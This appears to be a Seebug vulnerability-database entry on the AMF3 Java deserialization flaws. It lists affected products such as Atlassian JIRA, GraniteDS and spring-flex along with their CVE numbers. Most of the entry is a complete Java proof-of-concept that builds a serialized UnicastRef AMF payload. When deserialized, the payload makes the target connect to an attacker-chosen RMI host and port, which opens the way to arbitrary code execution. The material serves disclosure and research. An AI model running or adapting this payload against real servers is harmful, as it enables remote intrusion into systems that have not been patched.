Lucene search

K
seebugRootSSV:92913
HistoryApr 06, 2017 - 12:00 a.m.

AMF3 Java implementations deserialization Vulnerability

2017-04-0600:00:00
Root
www.seebug.org
47

0.089 Low

EPSS

Percentile

93.9%

Details reference: https://codewhitesec.blogspot.kr/2017/04/amf.html

Some Java implementations of AMF3 deserializers derive class instances from java. io. Externalizable rather than the AMF3 specification’s recommendation of a flash. utils. IExternalizable. A remote attacker with the ability to spoof or control an RMI server connection may be able to send serialized Java objects that execute arbitrary code when deserialized.

The reporter has identified the following products and versions as being affected, and CVE IDS have been assigned as follows: - Atlassian JIRA, versions from 4.2.4 prior to version 6.3.0 - CVE-2017-5983 for - Flamingo amf-serializer by Exadel, version 2.2.0 - CVE-2017-3201 - GraniteDS, version 3.1.1. GA - CVE-2017-3199 - Pivotal/Spring spring-flex - CVE-2017-3203 - WebORB for Java by Midnight Coders, version 5.1.1.0 - CVE-2017-3207

Products using these libraries may also be impacted.


                                                import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Arrays;

import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.ActionContext;
import flex.messaging.io.amf.ActionMessage;
import flex.messaging.io.amf.AmfMessageDeserializer;
import flex.messaging.io.amf.AmfMessageSerializer;
import flex.messaging.io.amf.MessageBody;

public class Amf3ExternalizableUnicastRef {

	public static void main(String[] args) throws IOException, ClassNotFoundException {
		if (args.length < 2 || (args.length == 3 && !args[0].equals("-d"))) {
			System.err.println("usage: java -jar " + Amf3ExternalizableUnicastRef.class.getSimpleName() + ".jar [-d] <host> <port>");
			return;
		}
		boolean doDeserialize = false;
		if (args.length == 3) {
			doDeserialize = true;
			args = Arrays.copyOfRange(args, 1, args.length);
		}

		// generate the UnicastRef object
		Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1]));

		// serialize object to AMF message
		byte[] amf = serialize(unicastRef);

		// deserialize AMF message
		if (doDeserialize) {
			deserialize(amf);
		} else {
			System.out.write(amf);
		}
	}

	public static Object generateUnicastRef(String host, int port) {
		java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
		sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
		sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
		return new sun.rmi.server.UnicastRef(liveRef);
	}

	public static byte[] serialize(Object data) throws IOException {
		MessageBody body = new MessageBody();
		body.setData(data);

		ActionMessage message = new ActionMessage();
		message.addBody(body);

		ByteArrayOutputStream out = new ByteArrayOutputStream();

		AmfMessageSerializer serializer = new AmfMessageSerializer();
		serializer.initialize(SerializationContext.getSerializationContext(), out, null);
		serializer.writeMessage(message);
		
		return out.toByteArray();
	}

	public static void deserialize(byte[] amf) throws ClassNotFoundException, IOException {
		ByteArrayInputStream in = new ByteArrayInputStream(amf);

		AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
		deserializer.initialize(SerializationContext.getSerializationContext(), in, null);
		deserializer.readMessage(new ActionMessage(), new ActionContext());
	}
}